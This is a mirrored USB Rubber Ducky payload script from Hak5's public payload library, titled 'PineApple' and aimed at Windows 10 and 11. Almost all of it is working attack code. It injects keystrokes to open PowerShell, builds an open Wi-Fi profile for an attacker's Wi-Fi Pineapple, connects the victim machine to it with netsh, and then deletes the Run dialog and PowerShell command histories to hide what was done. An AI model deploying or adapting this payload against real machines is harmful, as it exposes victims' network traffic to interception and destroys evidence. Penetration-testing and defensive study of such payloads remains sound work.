Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
hak5
GitHub Repository: hak5/usbrubberducky-payloads
Path: blob/master/payloads/library/general/-RD-PineApple/PineApple-KeyInjection.txt
2968 views
1
2
REM Title: PineApple
3
REM Description: This payload is meant to use powershell to add the network profile of your wifi pineapple to the targets PC and connect to it
4
REM This version is a direct key stroke injection attack
5
REM Author: I am Jakoby
6
REM Target: Windows 10, 11
7
8
DELAY 1000
9
10
REM If the wifi pineapple SSID is detected target PC will connect to it
11
12
GUI r
13
DELAY 500
14
STRING powershell
15
DELAY 500
16
ENTER
17
18
DELAY 1000
19
20
STRING $profilefile="Home.xml";
21
SHIFT ENTER
22
STRING $SSID="PineApple";
23
SHIFT ENTER
24
STRING $SSIDHEX=($SSID.ToCharArray() |foreach-object {'{0:X}' -f ([int]$_)}) -join''
25
SHIFT ENTER
26
DELAY 500
27
STRING $xmlfile="<?xml version=""1.0""?>
28
SHIFT ENTER
29
STRING <WLANProfile xmlns=""http://www.microsoft.com/networking/WLAN/profile/v1"">
30
SHIFT ENTER
31
STRING <name>$SSID</name>
32
SHIFT ENTER
33
STRING <SSIDConfig>
34
SHIFT ENTER
35
STRING <SSID>
36
SHIFT ENTER
37
STRING <hex>$SSIDHEX</hex>
38
SHIFT ENTER
39
STRING <name>$SSID</name>
40
SHIFT ENTER
41
STRING </SSID>
42
SHIFT ENTER
43
STRING </SSIDConfig>
44
SHIFT ENTER
45
STRING <connectionType>ESS</connectionType>
46
SHIFT ENTER
47
STRING <connectionMode>manual</connectionMode>
48
SHIFT ENTER
49
STRING <MSM>
50
SHIFT ENTER
51
STRING <security>
52
SHIFT ENTER
53
STRING <authEncryption>
54
SHIFT ENTER
55
STRING <authentication>open</authentication>
56
SHIFT ENTER
57
STRING <encryption>none</encryption>
58
SHIFT ENTER
59
STRING <useOneX>false</useOneX>
60
SHIFT ENTER
61
STRING </authEncryption>
62
SHIFT ENTER
63
STRING </security>
64
SHIFT ENTER
65
STRING </MSM>
66
SHIFT ENTER
67
STRING </WLANProfile>
68
SHIFT ENTER
69
STRING "
70
SHIFT ENTER
71
STRING $XMLFILE > ($profilefile)
72
SHIFT ENTER
73
STRING netsh wlan add profile filename="$($profilefile)"
74
SHIFT ENTER
75
STRING netsh wlan connect name=$SSID
76
SHIFT ENTER
77
STRING reg delete HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU /va /f; Remove-Item (Get-PSreadlineOption).HistorySavePath
78
79
DELAY 500
80
ENTER
81
82